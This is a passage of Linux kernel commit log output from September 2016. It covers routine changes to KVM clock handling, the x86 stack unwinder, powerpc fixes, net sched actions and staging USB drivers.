have better distribution of the traffic. Signed-off-by: Elad Raz Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/reg.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6f3bad9670729ea3a7c78b3752a89c94ffa2397a Author: Jacek Anaszewski Date: Mon Sep 19 12:44:50 2016 +0200 leds: triggers: Check return value of kobject_uevent_env() Log error message if kobject_uevent_env() fails in led_trigger_set(). Signed-off-by: Jacek Anaszewski Acked-by: Greg Kroah-Hartman drivers/leds/led-triggers.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit fbfa197afddd13f9bdca1c822f5d5730b50639eb Author: Jacek Anaszewski Date: Sun Sep 18 20:24:29 2016 +0200 leds: triggers: Return from led_trigger_set() if there is nothing to do If led_trigger_set() is called with "trig" argument set to NULL, and there is no trigger to remove then the function should return immediately so as to avoid doing unnecessary allocation and sending uevent. Signed-off-by: Jacek Anaszewski Reported-by: Daniel Romell Acked-by Daniel Romell drivers/leds/led-triggers.c | 3 +++ 1 file changed, 3 insertions(+) commit 878786d95e07ce2f5fb6e3cd8a6c2ed320339196 Author: Rob Swindell Date: Tue Sep 20 03:36:33 2016 -0400 bnxt_en: Fix build error for kernesl without RTC-LIB bnxt_hwrm_fw_set_time() now returns -EOPNOTSUPP when built for kernel without RTC_LIB. Setting the firmware time is not critical to the successful completion of the firmware update process. Signed-off-by: Rob Swindell Signed-off-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt.c | 4 ++++ 1 file changed, 4 insertions(+) commit adad0d02a7d3c958121a4eb9d126015a2353db94 Author: Colin Ian King Date: Mon Sep 19 07:11:59 2016 +0100 kvm: svm: fix unsigned compare less than zero comparison vm_data->avic_vm_id is a u32, so the check for a error return (less than zero) such as -EAGAIN from avic_get_next_vm_id currently has no effect whatsoever. Fix this by using a temporary int for the comparison and assign vm_data->avic_vm_id to this. I used an explicit u32 cast in the assignment to show why vm_data->avic_vm_id cannot be used in the assign/compare steps. Signed-off-by: Colin Ian King Acked-by: Joerg Roedel Signed-off-by: Paolo Bonzini arch/x86/kvm/svm.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 095cf55df715d14d5dad75326faf5984e7fc0b3a Author: Paolo Bonzini Date: Mon Feb 8 12:54:12 2016 +0100 KVM: x86: Hyper-V tsc page setup Lately tsc page was implemented but filled with empty values. This patch setup tsc page scale and offset based on vcpu tsc, tsc_khz and HV_X64_MSR_TIME_REF_COUNT value. The valid tsc page drops HV_X64_MSR_TIME_REF_COUNT msr reads count to zero which potentially improves performance. Signed-off-by: Andrey Smetanin Reviewed-by: Peter Hornyack Reviewed-by: Radim Krčmář CC: Paolo Bonzini CC: Roman Kagan CC: Denis V. Lunev [Computation of TSC page parameters rewritten to use the Linux timekeeper parameters. - Paolo] Signed-off-by: Paolo Bonzini arch/x86/include/asm/kvm_host.h | 2 + arch/x86/kvm/hyperv.c | 157 ++++++++++++++++++++++++++++++++++++---- arch/x86/kvm/hyperv.h | 3 + arch/x86/kvm/x86.c | 8 +- 4 files changed, 150 insertions(+), 20 deletions(-) commit 108b249c453dd7132599ab6dc7e435a7036c193f Author: Paolo Bonzini Date: Thu Sep 1 14:21:03 2016 +0200 KVM: x86: introduce get_kvmclock_ns Introduce a function that reads the exact nanoseconds value that is provided to the guest in kvmclock. This crystallizes the notion of kvmclock as a thin veneer over a stable TSC, that the guest will (hopefully) convert with NTP. In other words, kvmclock is *not* a paravirtualized host-to-guest NTP. Drop the get_kernel_ns() function, that was used both to get the base value of the master clock and to get the current value of kvmclock. The former use is replaced by ktime_get_boot_ns(), the latter is the purpose of get_kernel_ns(). This also allows KVM to provide a Hyper-V time reference counter that is synchronized with the time that is computed from the TSC page. Reviewed-by: Roman Kagan Signed-off-by: Paolo Bonzini arch/x86/entry/vdso/vclock_gettime.c | 2 +- arch/x86/include/asm/pvclock.h | 5 ++-- arch/x86/kernel/pvclock.c | 2 +- arch/x86/kvm/hyperv.c | 2 +- arch/x86/kvm/x86.c | 48 +++++++++++++++++++++++++++--------- arch/x86/kvm/x86.h | 6 +---- 6 files changed, 43 insertions(+), 22 deletions(-) commit 67198ac3f37ffb150f1c95fae16b597339eabc9d Author: Paolo Bonzini Date: Thu Sep 1 15:44:57 2016 +0200 KVM: x86: initialize kvmclock_offset Make the guest's kvmclock count up from zero, not from the host boot time. The guest cannot rely on that anyway because it changes on migration, the numbers are easier on the eye and finally it matches the desired semantics of the Hyper-V time reference counter. Reviewed-by: Roman Kagan Signed-off-by: Paolo Bonzini arch/x86/kvm/x86.c | 1 + 1 file changed, 1 insertion(+) commit 0d6dd2ff8206dc1da3428d5b1611f6304d481dab Author: Paolo Bonzini Date: Thu Sep 1 14:20:09 2016 +0200 KVM: x86: always fill in vcpu->arch.hv_clock We will use it in the next patches for KVM_GET_CLOCK and as a basis for the contents of the Hyper-V TSC page. Get the values from the Linux timekeeper even if kvmclock is not enabled. Reviewed-by: Roman Kagan Signed-off-by: Paolo Bonzini arch/x86/kvm/x86.c | 109 +++++++++++++++++++++++++++++------------------------ 1 file changed, 59 insertions(+), 50 deletions(-) commit ac412c3d4ff216cb7315cd695be0956ca948aae6 Author: Chen-Yu Tsai Date: Thu Sep 15 23:14:02 2016 +0800 drm/sun4i: dotclock: Round to closest clock rate With display pixel clocks we want to have the closest possible clock rate, to minimize timing and refresh rate skews. Whether the actual clock rate is higher or lower than the requested rate is less important. Also check candidates against the requested rate, rather than the ideal parent rate, the varying dividers also influence the difference between the requested rate and the rounded rate. Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_dotclock.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 7d7005180a7eab473bca4c1fe807f0589561791e Author: Bryan O'Donoghue Date: Mon Sep 19 18:41:46 2016 +0100 staging: greybus: MAINTAINERS: add greybus protocol drivers maintainers Add bod to some Greybus protocol drivers maintainers, loopback and timesync. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 7 +++++++ 1 file changed, 7 insertions(+) commit 88d1878bcaa438297e3e5bb7376a6d8f5f5c38e5 Author: Christian Gromm Date: Mon Sep 19 17:40:25 2016 +0200 staging: most: hdm-usb: rename channel related spinlock To increase comprehension this patch renames the channel related spinlock with a more fitting name. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 3fbcb92b74581eaec224efe6972aab7359a5230b Author: Christian Gromm Date: Mon Sep 19 17:40:24 2016 +0200 staging: most: hdm-usb: remove calls to usb_unachor_urb This patch removes the calls to usb_unanchor_urb() from the completion routines, since disassociation of the URBs is already handles by the USB subsystem. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 2 -- 1 file changed, 2 deletions(-) commit d223b37c9f44273c0cca5138118d6c75e5110bfa Author: Christian Gromm Date: Mon Sep 19 17:40:23 2016 +0200 staging: most: hdm-usb: remove redundant spinlocks This patch removes the spinlocks when accessing the usb_anchor list, because the struct usb_anchor is using its own lock. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 13 ------------- 1 file changed, 13 deletions(-) commit 27e6245e35bc6c20c2933d7d8afa562623be1ef5 Author: Christian Gromm Date: Mon Sep 19 17:40:22 2016 +0200 staging: most: hdm-usb: remove proprietary urb anchoring This patch removes the propietary tracking of URBs. Instead the structure usb_anchor of the USB subsystem is used. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 75 ++++++++++------------------------ 1 file changed, 21 insertions(+), 54 deletions(-) commit 888a87b5a90c68373b73c131424631b7b5291c16 Merge: 530a706 ac45e57 Author: Greg Kroah-Hartman Date: Tue Sep 20 08:36:04 2016 +0200 Merge tag 'iio-for-4.9c' of git://git.kernel.org/pub/scm/linux/kernel/git/jic23/iio into staging-next Jonathan writes: Third set of new device support, functionality and cleanups for IIO in the 4.9 cycle. Given Linus is hinting (strongly!) at an rc8 this last set is hopefully in time for the 4.9 merge window. The zpa2326 and si1145 drivers provide fine illustrations that devices aren't getting any simpler! I'm also particularly pleased Linus Walliej did such a thorough job of cleaning up one of my old drivers. New device support * mCube MC3230 accelerometer - new fairly minimal driver. * Murata zpa2326 - extensive new driver supporting the rather 'novel' buffering of data this device provides and handling both it's own data ready trigger and other triggers rather elegantly. * si1141, si1142, si1143, si1145, si1146 and si1147 proximity, UV, visible and IR sensors. - another extensive new driver supporting all the key bits of what this set of devices supplies including dataready triggers, buffers and all the various data channels. Functionality * kxsd9 - Linus brought this scratch driver I wrote in one afternoon years ago up to date adding lots of good stuff along the way. - SPI support after extensive rework of the driver. - Triggered buffer capture support. - Runtime PM. - Regulator handling. - Mounting matrix support. * mma7660 - Add MODULE_DEVICE_TABLE to support autoprobing. Cleanups * ad5933 - Align some function arguements nicely. * med_z188 - Constify iio_info structure. * sca3000 - Implement IIO_CHAN_INFO_SAMP_FREQ rather than a hand rolled attr. There are still quite a few drivers that would benefit from similar updates. * ssp_sensors - Constify iio_info structures in accel and gyro drivers. commit c8fe4609827aedc9c4b45de80e7cdc8ccfa8541b Author: Josh Poimboeuf Date: Fri Sep 16 14:18:17 2016 -0500 x86/dumpstack: Remove dump_trace() and related callbacks All previous users of dump_trace() have been converted to use the new unwind interfaces, so we can remove it and the related print_context_stack() and print_context_stack_bp() callback functions. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/5b97da3572b40b5a4d8e185cf2429308d0987a13.1474045023.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/include/asm/stacktrace.h | 36 ---------------- arch/x86/kernel/dumpstack.c | 86 --------------------------------------- arch/x86/kernel/dumpstack_32.c | 35 ---------------- arch/x86/kernel/dumpstack_64.c | 69 ------------------------------- 4 files changed, 226 deletions(-) commit e18bcccd1a4ecb41e99678e002ef833586185bf1 Author: Josh Poimboeuf Date: Fri Sep 16 14:18:16 2016 -0500 x86/dumpstack: Convert show_trace_log_lvl() to use the new unwinder Convert show_trace_log_lvl() to use the new unwinder. dump_trace() has been deprecated. show_trace_log_lvl() is special compared to other users of the unwinder. It's the only place where both reliable *and* unreliable addresses are needed. With frame pointers enabled, most callers of the unwinder don't want to know about unreliable addresses. But in this case, when we're dumping the stack to the console because something presumably went wrong, the unreliable addresses are useful: - They show stale data on the stack which can provide useful clues. - If something goes wrong with the unwinder, or if frame pointers are corrupt or missing, all the stack addresses still get shown. So in order to show all addresses on the stack, and at the same time figure out which addresses are reliable, we have to do the scanning and the unwinding in parallel. The scanning is done with the help of get_stack_info() to traverse the stacks. The unwinding is done separately by the new unwinder. In theory we could simplify show_trace_log_lvl() by instead pushing some of this logic into the unwind code. But then we would need some kind of "fake" frame logic in the unwinder which would add a lot of complexity and wouldn't be worth it in order to support only one user. Another benefit of this approach is that once we have a DWARF unwinder, we should be able to just plug it in with minimal impact to this code. Another change here is that callers of show_trace_log_lvl() don't need to provide the 'bp' argument. The unwinder already finds the relevant frame pointer by unwinding until it reaches the first frame after the provided stack pointer. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/703b5998604c712a1f801874b43f35d6dac52ede.1474045023.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/include/asm/stacktrace.h | 10 ++- arch/x86/kernel/dumpstack.c | 126 ++++++++++++++++++++++++++++---------- arch/x86/kernel/dumpstack_32.c | 9 ++- arch/x86/kernel/dumpstack_64.c | 9 ++- 4 files changed, 107 insertions(+), 47 deletions(-) commit ec2ad9ccf12dc965cad2d367a4063f68d6561a6b Author: Josh Poimboeuf Date: Fri Sep 16 14:18:15 2016 -0500 oprofile/x86: Convert x86_backtrace() to use the new unwinder Convert oprofile's x86_backtrace() to use the new unwinder. dump_trace() has been deprecated. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Robert Richter Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/412df8927705795e8ea60cffcf89a79e010713b1.1474045023.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/oprofile/backtrace.c | 39 +++++++++++++++++---------------------- 1 file changed, 17 insertions(+), 22 deletions(-) commit 49a612c6b06defbd6e6d334c683fea28006728e3 Author: Josh Poimboeuf Date: Fri Sep 16 14:18:14 2016 -0500 x86/stacktrace: Convert save_stack_trace_*() to use the new unwinder Convert save_stack_trace_*() to use the new unwinder. dump_trace() has been deprecated. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/815494c627d89887db0ce56ceffd58ad16ee6c21.1474045023.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/stacktrace.c | 74 +++++++++++++++++--------------------------- 1 file changed, 29 insertions(+), 45 deletions(-) commit 35f4d9b32527c08c3da3982aedae5198dc663ce8 Author: Josh Poimboeuf Date: Fri Sep 16 14:18:13 2016 -0500 perf/x86: Convert perf_callchain_kernel() to use the new unwinder Convert perf_callchain_kernel() to use the new unwinder. dump_trace() has been deprecated. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/a2df0c4f09b3d438e11b41681f10b0775a819a7f.1474045023.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/events/core.c | 33 ++++++++++----------------------- 1 file changed, 10 insertions(+), 23 deletions(-) commit 7c7900f89770d7fba96100d8a9e18043a1af3973 Author: Josh Poimboeuf Date: Fri Sep 16 14:18:12 2016 -0500 x86/unwind: Add new unwind interface and implementations The x86 stack dump code is a bit of a mess. dump_trace() uses callbacks, and each user of it seems to have slightly different requirements, so there are several slightly different callbacks floating around. Also there are some upcoming features which will need more changes to the stack dump code, including the printing of stack pt_regs, reliable stack detection for live patching, and a DWARF unwinder. Each of those features would at least need more callbacks and/or callback interfaces, resulting in a much bigger mess than what we have today. Before doing all that, we should try to clean things up and replace dump_trace() with something cleaner and more flexible. The new unwinder is a simple state machine which was heavily inspired by a suggestion from Andy Lutomirski: https://lkml.kernel.org/r/CALCETrUbNTqaM2LRyXGRx=kVLRPeY5A3Pc6k4TtQxF320rUT=w@mail.gmail.com It's also similar to the libunwind API: http://www.nongnu.org/libunwind/man/libunwind(3).html Some if its advantages: - Simplicity: no more callback sprawl and less code duplication. - Flexibility: it allows the caller to stop and inspect the stack state at each step in the unwinding process. - Modularity: the unwinder code, console stack dump code, and stack metadata analysis code are all better separated so that changing one of them shouldn't have much of an impact on any of the others. Two implementations are added which conform to the new unwind interface: - The frame pointer unwinder which is used for CONFIG_FRAME_POINTER=y. - The "guess" unwinder which is used for CONFIG_FRAME_POINTER=n. This isn't an "unwinder" per se. All it does is scan the stack for kernel text addresses. But with no frame pointers, guesses are better than nothing in most cases. Suggested-by: Andy Lutomirski Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/6dc2f909c47533d213d0505f0a113e64585bec82.1474045023.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/include/asm/unwind.h | 73 +++++++++++++++++++++++++++++++++ arch/x86/kernel/Makefile | 6 +++ arch/x86/kernel/unwind_frame.c | 93 ++++++++++++++++++++++++++++++++++++++++++ arch/x86/kernel/unwind_guess.c | 43 +++++++++++++++++++ 4 files changed, 215 insertions(+) commit b2c16e1efddeb517c62d242fb8ec30a383843468 Merge: 8153916 d2ffb01 Author: Ingo Molnar Date: Tue Sep 20 08:29:21 2016 +0200 Merge branch 'linus' into x86/asm, to pick up fixes Signed-off-by: Ingo Molnar commit 9d82fd2fae925efdf546cc25afdc664a2e3a2d9f Author: Michael Neuling Date: Fri Sep 16 14:28:44 2016 +1000 MAINTAINERS: Update cxl maintainers Fred has taken over the cxl maintenance I was doing. This updates the MAINTAINERS file to reflect this. It also removes a duplicate entry in the files covered and adds an entry for the CXL PCI code in arch/powerpc. Signed-off-by: Michael Neuling Reviewed-by: Andrew Donnellan Reviewed-by: Andrew Donnellan Acked-by: Frederic Barrat Signed-off-by: Michael Ellerman MAINTAINERS | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c907420fdaec78b17f59a6011cb5f9d6051c6a35 Author: Jan Beulich Date: Mon Sep 19 07:27:08 2016 -0600 locking/rwsem, x86: Drop a bogus cc clobber With the addition of uses of GCC's condition code outputs in commit: 35ccfb7114 ("x86, asm: Use CC_SET()/CC_OUT() in ") ... there's now an overlap of outputs and clobbers in __down_write_trylock(). Such overlaps are generally getting tagged with an error (occasionally even with an ICE). I can't really tell why plain GCC 6.2 doesn't detect this (judging by the code it is meant to), while the slightly modified one I use does. Since condition code clobbers are never necessary on x86 (other than perhaps for documentation purposes, which doesn't really get done consistently), remove it altogether rather than inventing something like CC_CLOBBER (to accompany CC_SET/CC_OUT). Signed-off-by: Jan Beulich Cc: Andrew Morton Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Paul E. McKenney Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/57E003CC0200007800110102@prv-mh.provo.novell.com Signed-off-by: Ingo Molnar arch/x86/include/asm/rwsem.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 90ce35145cb622b3cd0007d50e1f6a5a97321235 Author: Andrew Donnellan Date: Mon Sep 19 16:41:32 2016 +1000 powerpc/pseries: fix memory leak in queue_hotplug_event() error path If we fail to allocate work, we don't end up using hp_errlog_copy. Free it in the error path. Signed-off-by: Andrew Donnellan Reviewed-by: Nathan Fontenot Signed-off-by: Michael Ellerman arch/powerpc/platforms/pseries/dlpar.c | 1 + 1 file changed, 1 insertion(+) commit 11b7e154b132232535befe51c55db048069c8461 Author: Pan Xinhui Date: Thu Dec 10 15:30:02 2015 +0800 powerpc/nvram: Fix an incorrect partition merge When we merge two contiguous partitions whose signatures are marked NVRAM_SIG_FREE, We need update prev's length and checksum, then write it to nvram, not cur's. So lets fix this mistake now. Also use memset instead of strncpy to set the partition's name. It's more readable if we want to fill up with duplicate chars . Fixes: fa2b4e54d41f ("powerpc/nvram: Improve partition removal") Signed-off-by: Pan Xinhui Signed-off-by: Michael Ellerman arch/powerpc/kernel/nvram_64.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 0d0fecc5b5bfddb0e67bef985cdeda2eac7ad6d8 Author: Pan Xinhui Date: Wed Dec 9 18:00:53 2015 +0800 powerpc/nvram: Fix a memory leak in err path If kmemdup fails, We need kfree *buff* first then return -ENOMEM. Otherwise there is a memory leak. Signed-off-by: Pan Xinhui Reviewed-by: Nathan Fontenot Signed-off-by: Michael Ellerman arch/powerpc/kernel/nvram_64.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 49d09bf2a66f4b5a6eabefb0d4c0f03f21810553 Author: Nicholas Piggin Date: Thu Sep 15 19:04:46 2016 +1000 powerpc/64s: Optimise MSR handling in exception handling mtmsrd with L=1 only affects MSR_EE and MSR_RI bits, and we always know what state those bits are, so the kernel MSR does not need to be loaded when modifying them. mtmsrd is often in the critical execution path, so avoiding dependency on even L1 load is noticable. On a POWER8 this saves about 3 cycles from the syscall path, and possibly a few from other exception returns (not measured). Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/entry_64.S | 21 +++++++++------------ 1 file changed, 9 insertions(+), 12 deletions(-) commit 18e3f56b1cacb96017e2a66844ceceefabf6e7bc Author: Nicholas Piggin Date: Thu Sep 15 19:03:21 2016 +1000 powerpc/64: Optimise syscall entry for virtual, relocatable case The mflr r10 instruction was left over from when the code used LR to branch to system_call_entry from the exception handler. That was changed by commit 6a404806dfce ("powerpc: Avoid link stack corruption in MMU on syscall entry path") to use the count register. The value is never used now, so mflr can be removed, and r10 can be used for storage rather than spilling to the SPR scratch register. The scratch register spill causes a long pipeline stall due to the SPR read after write. This change brings getppid syscall cost from 406 to 376 cycles on POWER8. getppid for non-relocatable case is 371 cycles. Signed-off-by: Nicholas Piggin Acked-by: Balbir Singh Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit d5a1e42cb4be016a45a787953dd70c3bc4509da5 Author: Aneesh Kumar K.V Date: Mon Sep 19 23:01:33 2016 +0530 powerpc/mm: Update FORCE_MAX_ZONEORDER range to allow hugetlb w/4K For hugetlb to work with 4K page size, we need MAX_ORDER to be 13 or more. When switching from a 64K page size to 4K linux page size using make oldconfig, we end up with a CONFIG_FORCE_MAX_ZONEORDER value of 9. This results in a 16M hugepage beiing considered as a gigantic huge page which in turn results in failure to setup hugepages if gigantic hugepage support is not enabled. This also results in kernel crash with 4K radix configuration. We hit the below BUG_ON on radix: kernel BUG at mm/huge_memory.c:364! Oops: Exception in kernel mode, sig: 5 [#1] SMP NR_CPUS=2048 NUMA PowerNV CPU: 0 PID: 1 Comm: swapper/0 Not tainted 4.8.0-rc1-00006-gbae9cc6 #1 task: c0000000f1af8000 task.stack: c0000000f1aec000 NIP: c000000000c5fa0c LR: c000000000c5f9d8 CTR: c000000000c5f9a4 REGS: c0000000f1aef920 TRAP: 0700 Not tainted (4.8.0-rc1-00006-gbae9cc6) MSR: 9000000102029033 CR: 24000844 XER: 00000000 CFAR: c000000000c5f9e0 SOFTE: 1 .... NIP [c000000000c5fa0c] hugepage_init+0x68/0x238 LR [c000000000c5f9d8] hugepage_init+0x34/0x238 Fixes: a7ee539584acf ("powerpc/Kconfig: Update config option based on page size") Cc: stable@vger.kernel.org # v4.7+ Reported-by: Santhosh Signed-off-by: Aneesh Kumar K.V Acked-by: Balbir Singh Signed-off-by: Michael Ellerman arch/powerpc/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7b8845a2a2ec4d9658225cf9c53eeafb4a60314c Author: Nicholas Piggin Date: Wed Sep 14 13:21:47 2016 +1000 powerpc/64: Document the syscall ABI Add some documentation for the 64-bit syscall ABI, which doesn't seem to be documented elsewhere. This attempts to document existing practice. The only small discrepancy is glibc clobbers not quite matching the kernel (e.g., xer, some vsyscalls trash cr1 whereas glibc only clobbers cr0). These will be resolved after this document is merged. Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman Documentation/powerpc/syscall64-abi.txt | 105 ++++++++++++++++++++++++++++++++ 1 file changed, 105 insertions(+) commit e0e0d6b7390b61feb06350ef4a9594bcf84ad204 Author: Nicholas Piggin Date: Wed Sep 14 13:01:21 2016 +1000 powerpc/64: Replay hypervisor maintenance interrupt first The HMI (Hypervisor Maintenance Interrupt) is defined by the architecture to be higher priority than other maskable interrupts, so replay it first, as a best-effort to replay according to hardware priorities. Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/irq.c | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit 5a7a5555a362f60350668cd124df9a396f546c61 Author: Jamal Hadi Salim Date: Sun Sep 18 08:45:33 2016 -0400 net sched: stylistic cleanups Signed-off-by: Jamal Hadi Salim Signed-off-by: David S. Miller net/sched/act_api.c | 16 ++++++---------- net/sched/act_csum.c | 36 ++++++++++++++++++------------------ net/sched/act_gact.c | 3 ++- net/sched/act_mirred.c | 3 ++- net/sched/act_police.c | 10 ++++------ net/sched/cls_api.c | 18 ++++++++++-------- net/sched/cls_bpf.c | 6 ++++-- net/sched/cls_flow.c | 21 ++++++++++++++------- net/sched/cls_flower.c | 3 ++- net/sched/cls_fw.c | 10 +++++----- net/sched/cls_route.c | 9 +++------ net/sched/cls_tcindex.c | 12 ++++++------ net/sched/cls_u32.c | 30 ++++++++++++------------------ net/sched/sch_api.c | 41 ++++++++++++++++++++++++++--------------- 14 files changed, 114 insertions(+), 104 deletions(-) commit f71b109f1730902b73f70d78764d8a41265080dd Author: Roman Mashak Date: Sun Sep 18 07:53:08 2016 -0400 net sched actions police: peg drop stats for conforming traffic setting conforming action to drop is a valid policy. When it is set we need to at least see the stats indicating it for debugging. Signed-off-by: Roman Mashak Signed-off-by: Jamal Hadi Salim Signed-off-by: David S. Miller net/sched/act_police.c | 2 ++ 1 file changed, 2 insertions(+) commit 408fbc22ef1efb00dd896acd00e9f7d9b641e047 Author: Jamal Hadi Salim Date: Sun Sep 18 07:31:43 2016 -0400 net sched ife action: Introduce skb tcindex metadata encap decap Sample use case of how this is encoded: user space via tuntap (or a connected VM/Machine/container) encodes the tcindex TLV. Sample use case of decoding: IFE action decodes it and the skb->tc_index is then used to classify. So something like this for encoded ICMP packets: .. first decode then reclassify... skb->tcindex will be set sudo $TC filter add dev $ETH parent ffff: prio 2 protocol 0xbeef \ u32 match u32 0 0 flowid 1:1 \ action ife decode reclassify ...next match the decode icmp packet... sudo $TC filter add dev $ETH parent ffff: prio 4 protocol ip \ u32 match ip protocol 1 0xff flowid 1:1 \ action continue ... last classify it using the tcindex classifier and do someaction.. sudo $TC filter add dev $ETH parent ffff: prio 5 protocol ip \ handle 0x11 tcindex classid 1:1 \ action blah.. Signed-off-by: Jamal Hadi Salim Signed-off-by: David S. Miller include/uapi/linux/tc_act/tc_ife.h | 3 +- net/sched/Kconfig | 5 +++ net/sched/Makefile | 1 + net/sched/act_meta_skbtcindex.c | 79 ++++++++++++++++++++++++++++++++++++++ 4 files changed, 87 insertions(+), 1 deletion(-) commit 6a5d58b67e205f2ffc62d0a9ee4ef7d237e9a7fb Author: Jamal Hadi Salim Date: Sun Sep 18 07:31:42 2016 -0400 net sched ife action: add 16 bit helpers encoder and checker for 16 bits metadata Signed-off-by: Jamal Hadi Salim Signed-off-by: David S. Miller include/net/tc_act/tc_ife.h | 2 ++ net/sched/act_ife.c | 26 ++++++++++++++++++++++++++ 2 files changed, 28 insertions(+) commit 766a0e978fc2ba98d4865b466f8b572402317189 Author: Baoyou Xie Date: Sun Sep 18 16:44:22 2016 +0800 net/mlx5: clean function declarations in eswitch.c up We get 2 warnings when building kernel with W=1: drivers/net/ethernet/mellanox/mlx5/core/eswitch_offloads.c:463:5: warning: no previous prototype for 'esw_offloads_init' [-Wmissing-prototypes] drivers/net/ethernet/mellanox/mlx5/core/eswitch_offloads.c:521:6: warning: no previous prototype for 'esw_offloads_cleanup' [-Wmissing-prototypes] In fact, both functions are declared in drivers/net/ethernet/mellanox/mlx5/core/eswitch.c,but should be declared in a header file, thus can be recognized in other file. So this patch moves the declarations into drivers/net/ethernet/mellanox/mlx5/core/eswitch.h Signed-off-by: Baoyou Xie Acked-by: Leon Romanovsky Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/eswitch.c | 3 --- drivers/net/ethernet/mellanox/mlx5/core/eswitch.h | 3 +++ 2 files changed, 3 insertions(+), 3 deletions(-) commit d766e7e6b68d681d46d74e228ad0ba133e730e36 Author: Baoyou Xie Date: Sun Sep 18 16:35:29 2016 +0800 be2net: mark symbols static where possible We get 4 warnings when building kernel with W=1: drivers/net/ethernet/emulex/benet/be_main.c:4368:6: warning: no previous prototype for 'be_calculate_pf_pool_rss_tables' [-Wmissing-prototypes] drivers/net/ethernet/emulex/benet/be_cmds.c:4385:5: warning: no previous prototype for 'be_get_nic_pf_num_list' [-Wmissing-prototypes] drivers/net/ethernet/emulex/benet/be_cmds.c:4537:6: warning: no previous prototype for 'be_reset_nic_desc' [-Wmissing-prototypes] drivers/net/ethernet/emulex/benet/be_cmds.c:4910:5: warning: no previous prototype for '__be_cmd_set_logical_link_config' [-Wmissing-prototypes] In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so 